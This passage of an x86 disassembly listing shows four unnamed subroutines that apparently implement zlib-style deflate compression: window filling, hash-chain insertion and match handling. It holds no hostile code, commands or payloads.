08066336  29 7e 60           sub     %edi,0x60(%esi)
08066339  29 7e 50           sub     %edi,0x50(%esi)
0806633c  8d 14 48           lea     (%eax,%ecx,2),%edx
0806633f  83 c4 10           add     $0x10,%esp
08066342  89 f6              mov     %esi,%esi
08066344  83 ea 02           sub     $0x2,%edx
08066347  0f b7 02           movzwl  (%edx),%eax
0806634a  39 f8              cmp     %edi,%eax
0806634c  72 0a              jb      08066358 <Unknown0394+0x88>
0806634e  66 29 f8           sub     %di,%ax
08066351  66 89 02           mov     %ax,(%edx)
08066354  eb 07              jmp     0806635d <Unknown0394+0x8d>
08066356  89 f6              mov     %esi,%esi
08066358  66 c7 02 00 00     movw    $0x0,(%edx)
0806635d  49                 dec     %ecx
0806635e  75 e4              jne     08066344 <Unknown0394+0x74>
08066360  89 f9              mov     %edi,%ecx
08066362  8b 46 34           mov     0x34(%esi),%eax
08066365  8d 14 48           lea     (%eax,%ecx,2),%edx
08066368  83 ea 02           sub     $0x2,%edx
0806636b  0f b7 02           movzwl  (%edx),%eax
0806636e  39 f8              cmp     %edi,%eax
08066370  72 0a              jb      0806637c <Unknown0394+0xac>
08066372  66 29 f8           sub     %di,%ax
08066375  66 89 02           mov     %ax,(%edx)
08066378  eb 07              jmp     08066381 <Unknown0394+0xb1>
0806637a  89 f6              mov     %esi,%esi
0806637c  66 c7 02 00 00     movw    $0x0,(%edx)
08066381  49                 dec     %ecx
08066382  75 e4              jne     08066368 <Unknown0394+0x98>
08066384  01 fb              add     %edi,%ebx
08066386  8b 06              mov     (%esi),%eax
08066388  8b 50 04           mov     0x4(%eax),%edx
0806638b  85 d2              test    %edx,%edx
0806638d  74 5a              je      080663e9 <Unknown0394+0x119>
0806638f  50                 push    %eax
08066390  53                 push    %ebx
08066391  8b 46 60           mov     0x60(%esi),%eax
08066394  03 46 2c           add     0x2c(%esi),%eax
08066397  03 46 68           add     0x68(%esi),%eax
0806639a  50                 push    %eax
0806639b  ff 36              pushl   (%esi)
0806639d  e8 ae fc ff ff     call    08066050 <Unknown0391>
080663a2  03 46 68           add     0x68(%esi),%eax
080663a5  83 c4 10           add     $0x10,%esp
080663a8  83 f8 02           cmp     $0x2,%eax
080663ab  89 46 68           mov     %eax,0x68(%esi)
080663ae  76 1f              jbe     080663cf <Unknown0394+0xff>
080663b0  8b 5e 2c           mov     0x2c(%esi),%ebx
080663b3  8b 56 60           mov     0x60(%esi),%edx
080663b6  0f b6 04 1a        movzbl  (%edx,%ebx,1),%eax
080663ba  89 46 3c           mov     %eax,0x3c(%esi)
080663bd  8b 4e 4c           mov     0x4c(%esi),%ecx
080663c0  0f b6 54 1a 01     movzbl  0x1(%edx,%ebx,1),%edx
080663c5  d3 e0              shl     %cl,%eax
080663c7  31 d0              xor     %edx,%eax
080663c9  23 46 48           and     0x48(%esi),%eax
080663cc  89 46 3c           mov     %eax,0x3c(%esi)
080663cf  8b 46 68           mov     0x68(%esi),%eax
```

```
080663d2  89 c1                 mov     %eax,%ecx
080663d4  81 f9 05 01 00 00     cmp     $0x105,%ecx   ;261 'x5 x1 x0 x0' ""
080663da  77 0d                 ja      080663e9 <Unknown0394+0x119>
080663dc  8b 06                 mov     (%esi),%eax
080663de  8b 58 04              mov     0x4(%eax),%ebx
080663e1  85 db                 test    %ebx,%ebx
080663e3  0f 85 fb fe ff ff     jne     080662e4 <Unknown0394+0x14>   ;-261 'xfb xfe xff xff' ""
080663e9  8d 65 f4              lea     0xfffffff4(%ebp),%esp
080663ec  5b                    pop     %ebx
080663ed  5e                    pop     %esi
080663ee  5f                    pop     %edi
080663ef  5d                    pop     %ebp
080663f0  c3                    ret
080663f1  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 395 >--------------------<
  ;
080663f4 <Unknown0395>:
080663f4  55                    push    %ebp
080663f5  89 e5                 mov     %esp,%ebp
080663f7  56                    push    %esi
080663f8  53                    push    %ebx
080663f9  8b 75 0c              mov     0xc(%ebp),%esi
080663fc  8b 5d 08              mov     0x8(%ebp),%ebx
080663ff  eb 70                 jmp     08066471 <Unknown0395+0x7d>
08066401  8d 76 00              lea     0x0(%esi),%esi
08066404  8b 53 60              mov     0x60(%ebx),%edx
08066407  01 c2                 add     %eax,%edx
08066409  8d 42 ff              lea     0xffffffff(%edx),%eax
0806640c  3d fd ff 00 00        cmp     $0xfffd,%eax   ;65533 'xfd xff x0 x0' ""
08066411  89 53 60              mov     %edx,0x60(%ebx)
08066414  c7 43 68 00 00 00 00  movl    $0x0,0x68(%ebx)   ;0 'x0 x0 x0 x0' ""
0806641b  76 10                 jbe     0806642d <Unknown0395+0x39>
0806641d  8d 82 01 00 ff ff     lea     0xffff0001(%edx),%eax   ;-65535 'x1 x0 xff xff' ""
08066423  89 43 68              mov     %eax,0x68(%ebx)
08066426  c7 43 60 ff ff 00 00  movl    $0xffff,0x60(%ebx)   ;65535 'xff xff x0 x0' ""
0806642d  8b 53 60              mov     0x60(%ebx),%edx
08066430  8b 43 20              mov     0x20(%ebx),%eax
08066433  2b 53 50              sub     0x50(%ebx),%edx
08066436  2d 06 01 00 00        sub     $0x106,%eax   ;262 'x6 x1 x0 x0' ""
0806643b  39 c2                 cmp     %eax,%edx
0806643d  72 32                 jb      08066471 <Unknown0395+0x7d>
0806643f  6a 00                 push    $0x0
08066441  52                    push    %edx
08066442  8b 43 50              mov     0x50(%ebx),%eax
08066445  31 d2                 xor     %edx,%edx
08066447  85 c0                 test    %eax,%eax
08066449  78 05                 js      08066450 <Unknown0395+0x5c>
0806644b  8b 53 2c              mov     0x2c(%ebx),%edx
0806644e  01 c2                 add     %eax,%edx
08066450  52                    push    %edx
08066451  53                    push    %ebx
08066452  e8 fd 1a 00 00        call    08067f54 <Unknown0417>
08066457  8b 43 60              mov     0x60(%ebx),%eax
0806645a  89 43 50              mov     %eax,0x50(%ebx)
0806645d  59                    pop     %ecx
0806645e  ff 33                 pushl   (%ebx)
08066460  e8 57 f8 ff ff        call    08065cbc <Unknown0387>
08066465  8b 03                 mov     (%ebx),%eax
08066467  8b 50 10              mov     0x10(%eax),%edx
0806646a  83 c4 10              add     $0x10,%esp
0806646d  85 d2                 test    %edx,%edx
0806646f  74 77                 je      080664e8 <Unknown0395+0xf4>
08066471  8b 43 68              mov     0x68(%ebx),%eax
08066474  83 f8 01              cmp     $0x1,%eax
08066477  77 8b                 ja      08066404 <Unknown0395+0x10>
08066479  83 ec 0c              sub     $0xc,%esp
0806647c  53                    push    %ebx
0806647d  e8 4e fe ff ff        call    080662d0 <Unknown0394>
08066482  8b 53 68              mov     0x68(%ebx),%edx
08066485  83 c4 10              add     $0x10,%esp
08066488  85 d2                 test    %edx,%edx
0806648a  89 d0                 mov     %edx,%eax
0806648c  75 04                 jne     08066492 <Unknown0395+0x9e>
0806648e  85 f6                 test    %esi,%esi
08066490  74 56                 je      080664e8 <Unknown0395+0xf4>
08066492  85 d2                 test    %edx,%edx
08066494  0f 85 6a ff ff ff     jne     08066404 <Unknown0395+0x10>   ;-150 'x6a xff xff xff' "j"
0806649a  31 c0                 xor     %eax,%eax
0806649c  83 fe 04              cmp     $0x4,%esi
0806649f  0f 94 c0              sete    %al
080664a2  50                    push    %eax
```

```
080664a3  8b 43 60           mov     0x60(%ebx),%eax
080664a6  2b 43 50           sub     0x50(%ebx),%eax
080664a9  50                 push    %eax
080664aa  8b 43 50           mov     0x50(%ebx),%eax
080664ad  31 d2              xor     %edx,%edx
080664af  85 c0              test    %eax,%eax
080664b1  78 05              js      080664b8 <Unknown0395+0xc4>
080664b3  8b 53 2c           mov     0x2c(%ebx),%edx
080664b6  01 c2              add     %eax,%edx
080664b8  52                 push    %edx
080664b9  53                 push    %ebx
080664ba  e8 95 1a 00 00     call    08067f54 <Unknown0417>
080664bf  8b 43 60           mov     0x60(%ebx),%eax
080664c2  89 43 50           mov     %eax,0x50(%ebx)
080664c5  58                 pop     %eax
080664c6  ff 33              pushl   (%ebx)
080664c8  e8 ef f7 ff ff     call    08065cbc <Unknown0387>
080664cd  8b 03              mov     (%ebx),%eax
080664cf  8b 58 10           mov     0x10(%eax),%ebx
080664d2  83 c4 10           add     $0x10,%esp
080664d5  85 db              test    %ebx,%ebx
080664d7  75 13              jne     080664ec <Unknown0395+0xf8>
080664d9  31 c0              xor     %eax,%eax
080664db  83 fe 04           cmp     $0x4,%esi
080664de  0f 94 c0           sete    %al
080664e1  d1 e0              shl     %eax
080664e3  eb 13              jmp     080664f8 <Unknown0395+0x104>
080664e5  8d 76 00           lea     0x0(%esi),%esi
080664e8  31 c0              xor     %eax,%eax
080664ea  eb 0c              jmp     080664f8 <Unknown0395+0x104>
080664ec  31 c0              xor     %eax,%eax
080664ee  83 fe 04           cmp     $0x4,%esi
080664f1  0f 94 c0           sete    %al
080664f4  8d 44 00 01        lea     0x1(%eax,%eax,1),%eax
080664f8  8d 65 f8           lea     0xfffffff8(%ebp),%esp
080664fb  5b                 pop     %ebx
080664fc  5e                 pop     %esi
080664fd  5d                 pop     %ebp
080664fe  c3                 ret
080664ff  90                 nop


   ;
   ; >--------------------<  Subroutine # 396 >--------------------<
   ;
08066500 <Unknown0396>:
08066500  55                 push    %ebp
08066501  89 e5              mov     %esp,%ebp
08066503  57                 push    %edi
08066504  56                 push    %esi
08066505  53                 push    %ebx
08066506  83 ec 2c           sub     $0x2c,%esp
08066509  8b 75 08           mov     0x8(%ebp),%esi
0806650c  c7 45 f0 00 00 00 00  movl  $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
08066513  e9 b8 01 00 00     jmp     080666d0 <Unknown0396+0x1d0>  ;440 'xb8 x1 x0 x0' ""
08066518  83 fa 02           cmp     $0x2,%edx
0806651b  76 37              jbe     08066554 <Unknown0396+0x54>
0806651d  8b 56 3c           mov     0x3c(%esi),%edx
08066520  8b 4e 4c           mov     0x4c(%esi),%ecx
08066523  8b 5e 60           mov     0x60(%esi),%ebx
08066526  8b 46 2c           mov     0x2c(%esi),%eax
08066529  0f b6 44 03 02     movzbl  0x2(%ebx,%eax,1),%eax
0806652e  d3 e2              shl     %cl,%edx
08066530  31 c2              xor     %eax,%edx
08066532  23 56 48           and     0x48(%esi),%edx
08066535  8b 4e 38           mov     0x38(%esi),%ecx
08066538  0f b7 3c 51        movzwl  (%ecx,%edx,2),%edi
0806653c  8b 46 34           mov     0x34(%esi),%eax
0806653f  23 5e 28           and     0x28(%esi),%ebx
08066542  89 56 3c           mov     %edx,0x3c(%esi)
08066545  89 7d f0           mov     %edi,0xfffffff0(%ebp)
08066548  66 89 3c 58        mov     %di,(%eax,%ebx,2)
0806654c  66 8b 46 60        mov     0x60(%esi),%ax
08066550  66 89 04 51        mov     %ax,(%ecx,%edx,2)
08066554  8b 7d f0           mov     0xfffffff0(%ebp),%edi
08066557  85 ff              test    %edi,%edi
08066559  74 2d              je      08066588 <Unknown0396+0x88>
0806655b  8b 4e 60           mov     0x60(%esi),%ecx
0806655e  89 c8              mov     %ecx,%eax
08066560  8b 56 20           mov     0x20(%esi),%edx
08066563  2b 45 f0           sub     0xfffffff0(%ebp),%eax
08066566  81 ea 06 01 00 00  sub     $0x106,%edx   ;262 'x6 x1 x0 x0' ""
0806656c  39 d0              cmp     %edx,%eax
0806656e  77 1b              ja      0806658b <Unknown0396+0x8b>
```

```
08066570   83 7e 7c 02         cmpl    $0x2,0x7c(%esi)
08066574   74 15               je      0806658b <Unknown0396+0x8b>
08066576   83 ec 08            sub     $0x8,%esp
08066579   ff 75 f0            pushl   0xfffffff0(%ebp)
0806657c   56                  push    %esi
0806657d   e8 c2 fb ff ff      call    08066144 <Unknown0393>
08066582   89 46 54            mov     %eax,0x54(%esi)
08066585   83 c4 10            add     $0x10,%esp
08066588   8b 4e 60            mov     0x60(%esi),%ecx
0806658b   8b 46 54            mov     0x54(%esi),%eax
0806658e   83 f8 02            cmp     $0x2,%eax
08066591   0f 86 d9 00 00 00   jbe     08066670 <Unknown0396+0x170>   ;217 'xd9 x0 x0 x0' ""
08066597   53                  push    %ebx
08066598   83 e8 03            sub     $0x3,%eax
0806659b   50                  push    %eax
0806659c   2b 4e 64            sub     0x64(%esi),%ecx
0806659f   51                  push    %ecx
080665a0   56                  push    %esi
080665a1   e8 de 1b 00 00      call    08068184 <Unknown0418>
080665a6   89 45 ec            mov     %eax,0xffffffec(%ebp)
080665a9   8b 56 68            mov     0x68(%esi),%edx
080665ac   8b 46 54            mov     0x54(%esi),%eax
080665af   29 c2               sub     %eax,%edx
080665b1   83 c4 10            add     $0x10,%esp
080665b4   3b 46 74            cmp     0x74(%esi),%eax
080665b7   89 56 68            mov     %edx,0x68(%esi)
080665ba   0f 87 80 00 00 00   ja      08066640 <Unknown0396+0x140>   ;128 'x80 x0 x0 x0' ""
080665c0   83 fa 02            cmp     $0x2,%edx
080665c3   76 7b               jbe     08066640 <Unknown0396+0x140>
080665c5   48                  dec     %eax
080665c6   89 46 54            mov     %eax,0x54(%esi)
080665c9   8b 46 4c            mov     0x4c(%esi),%eax
080665cc   89 45 e8            mov     %eax,0xffffffe8(%ebp)
080665cf   8b 46 2c            mov     0x2c(%esi),%eax
080665d2   89 45 e4            mov     %eax,0xffffffe4(%ebp)
080665d5   8b 46 48            mov     0x48(%esi),%eax
080665d8   89 45 e0            mov     %eax,0xffffffe0(%ebp)
080665db   8b 46 34            mov     0x34(%esi),%eax
080665de   89 45 d8            mov     %eax,0xffffffd8(%ebp)
080665e1   8b 46 28            mov     0x28(%esi),%eax
080665e4   8b 7e 38            mov     0x38(%esi),%edi
080665e7   89 45 dc            mov     %eax,0xffffffdc(%ebp)
080665ea   89 f6               mov     %esi,%esi
080665ec   8b 46 60            mov     0x60(%esi),%eax
080665ef   89 45 d0            mov     %eax,0xffffffd0(%ebp)
080665f2   40                  inc     %eax
080665f3   89 46 60            mov     %eax,0x60(%esi)
080665f6   8a 4d e8            mov     0xffffffe8(%ebp),%cl
080665f9   8b 5d e4            mov     0xffffffe4(%ebp),%ebx
080665fc   8b 56 3c            mov     0x3c(%esi),%edx
080665ff   0f b6 5c 18 02      movzbl  0x2(%eax,%ebx,1),%ebx
08066604   d3 e2               shl     %cl,%edx
08066606   31 da               xor     %ebx,%edx
08066608   23 55 e0            and     0xffffffe0(%ebp),%edx
0806660b   89 56 3c            mov     %edx,0x3c(%esi)
0806660e   8b 4d dc            mov     0xffffffdc(%ebp),%ecx
08066611   0f b7 1c 57         movzwl  (%edi,%edx,2),%ebx
08066615   89 5d f0            mov     %ebx,0xfffffff0(%ebp)
08066618   21 c8               and     %ecx,%eax
0806661a   8b 4d d8            mov     0xffffffd8(%ebp),%ecx
0806661d   66 89 1c 41         mov     %bx,(%ecx,%eax,2)
08066621   66 8b 46 60         mov     0x60(%esi),%ax
08066625   66 89 04 57         mov     %ax,(%edi,%edx,2)
08066629   8b 46 54            mov     0x54(%esi),%eax
0806662c   48                  dec     %eax
0806662d   85 c0               test    %eax,%eax
0806662f   89 46 54            mov     %eax,0x54(%esi)
08066632   75 b8               jne     080665ec <Unknown0396+0xec>
08066634   8b 45 d0            mov     0xffffffd0(%ebp),%eax
08066637   83 c0 02            add     $0x2,%eax
0806663a   89 46 60            mov     %eax,0x60(%esi)
0806663d   eb 4e               jmp     0806668d <Unknown0396+0x18d>
0806663f   90                  nop
08066640   8b 56 54            mov     0x54(%esi),%edx
08066643   03 56 60            add     0x60(%esi),%edx
08066646   89 56 60            mov     %edx,0x60(%esi)
08066649   c7 46 54 00 00 00 00 movl   $0x0,0x54(%esi)   ;0 'x0 x0 x0 x0' ""
08066650   8b 5e 2c            mov     0x2c(%esi),%ebx
08066653   0f b6 04 1a         movzbl  (%edx,%ebx,1),%eax
08066657   89 46 3c            mov     %eax,0x3c(%esi)
0806665a   8b 4e 4c            mov     0x4c(%esi),%ecx
0806665d   0f b6 54 1a 01      movzbl  0x1(%edx,%ebx,1),%edx
08066662   d3 e0               shl     %cl,%eax
08066664   31 d0               xor     %edx,%eax
```

```
08066666   23 46 48              and      0x48(%esi),%eax
08066669   89 46 3c              mov      %eax,0x3c(%esi)
0806666c   eb 1f                 jmp      0806668d <Unknown0396+0x18d>
0806666e   89 f6                 mov      %esi,%esi
08066670   52                    push     %edx
08066671   8b 46 2c              mov      0x2c(%esi),%eax
08066674   0f b6 04 01           movzbl   (%ecx,%eax,1),%eax
08066678   50                    push     %eax
08066679   6a 00                 push     $0x0
0806667b   56                    push     %esi
0806667c   e8 03 1b 00 00        call     08068184 <Unknown0418>
08066681   89 45 ec              mov      %eax,0xffffffec(%ebp)
08066684   ff 4e 68              decl     0x68(%esi)
08066687   ff 46 60              incl     0x60(%esi)
0806668a   83 c4 10              add      $0x10,%esp
0806668d   8b 45 ec              mov      0xffffffec(%ebp),%eax
08066690   85 c0                 test     %eax,%eax
08066692   74 3c                 je       080666d0 <Unknown0396+0x1d0>
08066694   6a 00                 push     $0x0
08066696   8b 46 60              mov      0x60(%esi),%eax
08066699   2b 46 50              sub      0x50(%esi),%eax
0806669c   50                    push     %eax
0806669d   8b 46 50              mov      0x50(%esi),%eax
080666a0   31 d2                 xor      %edx,%edx
080666a2   85 c0                 test     %eax,%eax
080666a4   78 05                 js       080666ab <Unknown0396+0x1ab>
080666a6   8b 56 2c              mov      0x2c(%esi),%edx
080666a9   01 c2                 add      %eax,%edx
080666ab   52                    push     %edx
080666ac   56                    push     %esi
080666ad   e8 a2 18 00 00        call     08067f54 <Unknown0417>
080666b2   8b 46 60              mov      0x60(%esi),%eax
080666b5   89 46 50              mov      %eax,0x50(%esi)
080666b8   5f                    pop      %edi
080666b9   ff 36                 pushl    (%esi)
080666bb   e8 fc f5 ff ff        call     08065cbc <Unknown0387>
080666c0   8b 06                 mov      (%esi),%eax
080666c2   8b 58 10              mov      0x10(%eax),%ebx
080666c5   83 c4 10              add      $0x10,%esp
080666c8   85 db                 test     %ebx,%ebx
080666ca   0f 84 84 00 00 00     je       08066754 <Unknown0396+0x254>   ;132 'x84 x0 x0 x0' ""
080666d0   8b 56 68              mov      0x68(%esi),%edx
080666d3   81 fa 05 01 00 00     cmp      $0x105,%edx   ;261 'x5 x1 x0 x0' ""
080666d9   0f 87 39 fe ff ff     ja       08066518 <Unknown0396+0x18>   ;-455 'x39 xfe xff xff' "9"
080666df   83 ec 0c              sub      $0xc,%esp
080666e2   56                    push     %esi
080666e3   e8 e8 fb ff ff        call     080662d0 <Unknown0394>
080666e8   8b 46 68              mov      0x68(%esi),%eax
080666eb   83 c4 10              add      $0x10,%esp
080666ee   3d 05 01 00 00        cmp      $0x105,%eax   ;261 'x5 x1 x0 x0' ""
080666f3   89 c2                 mov      %eax,%edx
080666f5   77 07                 ja       080666fe <Unknown0396+0x1fe>
080666f7   8b 4d 0c              mov      0xc(%ebp),%ecx
080666fa   85 c9                 test     %ecx,%ecx
080666fc   74 56                 je       08066754 <Unknown0396+0x254>
080666fe   85 c0                 test     %eax,%eax
08066700   0f 85 12 fe ff ff     jne      08066518 <Unknown0396+0x18>   ;-494 'x12 xfe xff xff' ""
08066706   31 c0                 xor      %eax,%eax
08066708   83 7d 0c 04           cmpl     $0x4,0xc(%ebp)
0806670c   0f 94 c0              sete     %al
0806670f   50                    push     %eax
08066710   8b 46 60              mov      0x60(%esi),%eax
08066713   2b 46 50              sub      0x50(%esi),%eax
08066716   50                    push     %eax
08066717   8b 46 50              mov      0x50(%esi),%eax
0806671a   31 d2                 xor      %edx,%edx
0806671c   85 c0                 test     %eax,%eax
0806671e   78 05                 js       08066725 <Unknown0396+0x225>
08066720   8b 56 2c              mov      0x2c(%esi),%edx
08066723   01 c2                 add      %eax,%edx
08066725   52                    push     %edx
08066726   56                    push     %esi
08066727   e8 28 18 00 00        call     08067f54 <Unknown0417>
0806672c   8b 46 60              mov      0x60(%esi),%eax
0806672f   89 46 50              mov      %eax,0x50(%esi)
08066732   5f                    pop      %edi
08066733   ff 36                 pushl    (%esi)
08066735   e8 82 f5 ff ff        call     08065cbc <Unknown0387>
0806673a   8b 06                 mov      (%esi),%eax
0806673c   8b 58 10              mov      0x10(%eax),%ebx
0806673f   83 c4 10              add      $0x10,%esp
08066742   85 db                 test     %ebx,%ebx
08066744   75 12                 jne      08066758 <Unknown0396+0x258>
08066746   31 c0                 xor      %eax,%eax
```

```
08066748  83 7d 0c 04          cmpl     $0x4,0xc(%ebp)
0806674c  0f 94 c0             sete     %al
0806674f  d1 e0                shl      %eax
08066751  eb 12                jmp      08066765 <Unknown0396+0x265>
08066753  90                   nop
08066754  31 c0                xor      %eax,%eax
08066756  eb 0d                jmp      08066765 <Unknown0396+0x265>
08066758  31 c0                xor      %eax,%eax
0806675a  83 7d 0c 04          cmpl     $0x4,0xc(%ebp)
0806675e  0f 94 c0             sete     %al
08066761  8d 44 00 01          lea      0x1(%eax,%eax,1),%eax
08066765  8d 65 f4             lea      0xfffffff4(%ebp),%esp
08066768  5b                   pop      %ebx
08066769  5e                   pop      %esi
0806676a  5f                   pop      %edi
0806676b  5d                   pop      %ebp
0806676c  c3                   ret
0806676d  8d 76 00             lea      0x0(%esi),%esi


   ;
   ; >--------------------<  Subroutine # 397 >--------------------<
   ;
08066770 <Unknown0397>:
08066770  55                   push     %ebp
08066771  89 e5                mov      %esp,%ebp
08066773  57                   push     %edi
08066774  56                   push     %esi
08066775  53                   push     %ebx
08066776  83 ec 0c             sub      $0xc,%esp
08066779  31 ff                xor      %edi,%edi
0806677b  8b 75 08             mov      0x8(%ebp),%esi
0806677e  e9 02 02 00 00       jmp      08066985 <Unknown0397+0x215>  ;514 'x2 x2 x0 x0' ""
08066783  90                   nop
08066784  83 fa 02             cmp      $0x2,%edx
08066787  76 34                jbe      080667bd <Unknown0397+0x4d>
08066789  8b 56 3c             mov      0x3c(%esi),%edx
0806678c  8b 4e 4c             mov      0x4c(%esi),%ecx
0806678f  8b 5e 60             mov      0x60(%esi),%ebx
08066792  8b 46 2c             mov      0x2c(%esi),%eax
08066795  0f b6 44 03 02       movzbl   0x2(%ebx,%eax,1),%eax
0806679a  d3 e2                shl      %cl,%edx
0806679c  31 c2                xor      %eax,%edx
0806679e  23 56 48             and      0x48(%esi),%edx
080667a1  8b 4e 38             mov      0x38(%esi),%ecx
080667a4  8b 46 34             mov      0x34(%esi),%eax
080667a7  0f b7 3c 51          movzwl   (%ecx,%edx,2),%edi
080667ab  23 5e 28             and      0x28(%esi),%ebx
080667ae  66 89 3c 58          mov      %di,(%eax,%ebx,2)
080667b2  66 8b 46 60          mov      0x60(%esi),%ax
080667b6  89 56 3c             mov      %edx,0x3c(%esi)
080667b9  66 89 04 51          mov      %ax,(%ecx,%edx,2)
080667bd  8b 56 54             mov      0x54(%esi),%edx
080667c0  8b 46 64             mov      0x64(%esi),%eax
080667c3  85 ff                test     %edi,%edi
080667c5  89 56 6c             mov      %edx,0x6c(%esi)
080667c8  89 46 58             mov      %eax,0x58(%esi)
080667cb  c7 46 54 02 00 00 00 movl     $0x2,0x54(%esi)  ;2 'x2 x0 x0 x0' ""
080667d2  74 53                je       08066827 <Unknown0397+0xb7>
080667d4  3b 56 74             cmp      0x74(%esi),%edx
080667d7  73 4e                jae      08066827 <Unknown0397+0xb7>
080667d9  8b 56 60             mov      0x60(%esi),%edx
080667dc  8b 46 20             mov      0x20(%esi),%eax
080667df  29 fa                sub      %edi,%edx
080667e1  2d 06 01 00 00       sub      $0x106,%eax  ;262 'x6 x1 x0 x0' ""
080667e6  39 c2                cmp      %eax,%edx
080667e8  77 3d                ja       08066827 <Unknown0397+0xb7>
080667ea  83 7e 7c 02          cmpl     $0x2,0x7c(%esi)
080667ee  74 10                je       08066800 <Unknown0397+0x90>
080667f0  83 ec 08             sub      $0x8,%esp
080667f3  57                   push     %edi
080667f4  56                   push     %esi
080667f5  e8 4a f9 ff ff       call     08066144 <Unknown0393>
080667fa  89 46 54             mov      %eax,0x54(%esi)
080667fd  83 c4 10             add      $0x10,%esp
08066800  8b 46 54             mov      0x54(%esi),%eax
08066803  83 f8 05             cmp      $0x5,%eax
08066806  77 1f                ja       08066827 <Unknown0397+0xb7>
08066808  83 7e 7c 01          cmpl     $0x1,0x7c(%esi)
0806680c  74 12                je       08066820 <Unknown0397+0xb0>
0806680e  83 f8 03             cmp      $0x3,%eax
08066811  75 14                jne      08066827 <Unknown0397+0xb7>
08066813  8b 46 60             mov      0x60(%esi),%eax
08066816  2b 46 64             sub      0x64(%esi),%eax
```

```
08066819  3d 00 10 00 00        cmp     $0x1000,%eax   ;4096 'x0 x10 x0 x0' ""
0806681e  76 07                 jbe     08066827 <Unknown0397+0xb7>
08066820  c7 46 54 02 00 00 00  movl    $0x2,0x54(%esi)  ;2 'x2 x0 x0 x0' ""
08066827  8b 56 6c              mov     0x6c(%esi),%edx
0806682a  83 fa 02              cmp     $0x2,%edx
0806682d  0f 86 dd 00 00 00     jbe     08066910 <Unknown0397+0x1a0>   ;221 'xdd x0 x0 x0' ""
08066833  39 56 54              cmp     %edx,0x54(%esi)
08066836  0f 87 d4 00 00 00     ja      08066910 <Unknown0397+0x1a0>   ;212 'xd4 x0 x0 x0' ""
0806683c  8b 46 68              mov     0x68(%esi),%eax
0806683f  03 46 60              add     0x60(%esi),%eax
08066842  83 e8 03              sub     $0x3,%eax
08066845  51                    push    %ecx
08066846  89 45 ec              mov     %eax,0xffffffec(%ebp)
08066849  8d 42 fd              lea     0xfffffffd(%edx),%eax
0806684c  50                    push    %eax
0806684d  8b 46 60              mov     0x60(%esi),%eax
08066850  2b 46 58              sub     0x58(%esi),%eax
08066853  48                    dec     %eax
08066854  50                    push    %eax
08066855  56                    push    %esi
08066856  e8 29 19 00 00        call    08068184 <Unknown0418>
0806685b  89 45 f0              mov     %eax,0xfffffff0(%ebp)
0806685e  8b 56 6c              mov     0x6c(%esi),%edx
08066861  8b 46 68              mov     0x68(%esi),%eax
08066864  29 d0                 sub     %edx,%eax
08066866  40                    inc     %eax
08066867  83 ea 02              sub     $0x2,%edx
0806686a  89 46 68              mov     %eax,0x68(%esi)
0806686d  89 56 6c              mov     %edx,0x6c(%esi)
08066870  83 c4 10              add     $0x10,%esp
08066873  90                    nop
08066874  8b 5e 60              mov     0x60(%esi),%ebx
08066877  43                    inc     %ebx
08066878  89 5e 60              mov     %ebx,0x60(%esi)
0806687b  3b 5d ec              cmp     0xffffffec(%ebp),%ebx
0806687e  77 31                 ja      080668b1 <Unknown0397+0x141>
08066880  8b 56 3c              mov     0x3c(%esi),%edx
08066883  8b 4e 4c              mov     0x4c(%esi),%ecx
08066886  8b 46 2c              mov     0x2c(%esi),%eax
08066889  0f b6 44 03 02        movzbl  0x2(%ebx,%eax,1),%eax
0806688e  d3 e2                 shl     %cl,%edx
08066890  31 c2                 xor     %eax,%edx
08066892  23 56 48              and     0x48(%esi),%edx
08066895  8b 4e 38              mov     0x38(%esi),%ecx
08066898  8b 46 34              mov     0x34(%esi),%eax
0806689b  0f b7 3c 51           movzwl  (%ecx,%edx,2),%edi
0806689f  23 5e 28              and     0x28(%esi),%ebx
080668a2  66 89 3c 58           mov     %di,(%eax,%ebx,2)
080668a6  66 8b 46 60           mov     0x60(%esi),%ax
080668aa  89 56 3c              mov     %edx,0x3c(%esi)
080668ad  66 89 04 51           mov     %ax,(%ecx,%edx,2)
080668b1  8b 46 6c              mov     0x6c(%esi),%eax
080668b4  48                    dec     %eax
080668b5  85 c0                 test    %eax,%eax
080668b7  89 46 6c              mov     %eax,0x6c(%esi)
080668ba  75 b8                 jne     08066874 <Unknown0397+0x104>
080668bc  ff 46 60              incl    0x60(%esi)
080668bf  c7 46 5c 00 00 00 00  movl    $0x0,0x5c(%esi)   ;0 'x0 x0 x0 x0' ""
080668c6  c7 46 54 02 00 00 00  movl    $0x2,0x54(%esi)   ;2 'x2 x0 x0 x0' ""
080668cd  8b 55 f0              mov     0xfffffff0(%ebp),%edx
080668d0  85 d2                 test    %edx,%edx
080668d2  0f 84 ad 00 00 00     je      08066985 <Unknown0397+0x215>   ;173 'xad x0 x0 x0' ""
080668d8  6a 00                 push    $0x0
080668da  8b 46 60              mov     0x60(%esi),%eax
080668dd  2b 46 50              sub     0x50(%esi),%eax
080668e0  50                    push    %eax
080668e1  8b 46 50              mov     0x50(%esi),%eax
080668e4  31 d2                 xor     %edx,%edx
080668e6  85 c0                 test    %eax,%eax
080668e8  78 05                 js      080668ef <Unknown0397+0x17f>
080668ea  8b 56 2c              mov     0x2c(%esi),%edx
080668ed  01 c2                 add     %eax,%edx
080668ef  52                    push    %edx
080668f0  56                    push    %esi
080668f1  e8 5e 16 00 00        call    08067f54 <Unknown0417>
080668f6  8b 46 60              mov     0x60(%esi),%eax
080668f9  89 46 50              mov     %eax,0x50(%esi)
080668fc  58                    pop     %eax
080668fd  ff 36                 pushl   (%esi)
080668ff  e8 b8 f3 ff ff        call    08065cbc <Unknown0387>
08066904  8b 06                 mov     (%esi),%eax
08066906  8b 58 10              mov     0x10(%eax),%ebx
08066909  83 c4 10              add     $0x10,%esp
0806690c  eb 5e                 jmp     0806696c <Unknown0397+0x1fc>
```

```
0806690e  89 f6                   mov    %esi,%esi
08066910  8b 4e 5c                mov    0x5c(%esi),%ecx
08066913  85 c9                   test   %ecx,%ecx
08066915  74 61                   je     08066978 <Unknown0397+0x208>
08066917  52                      push   %edx
08066918  8b 46 60                mov    0x60(%esi),%eax
0806691b  03 46 2c                add    0x2c(%esi),%eax
0806691e  0f b6 40 ff             movzbl 0xffffffff(%eax),%eax
08066922  50                      push   %eax
08066923  6a 00                   push   $0x0
08066925  56                      push   %esi
08066926  e8 59 18 00 00          call   08068184 <Unknown0418>
0806692b  83 c4 10                add    $0x10,%esp
0806692e  85 c0                   test   %eax,%eax
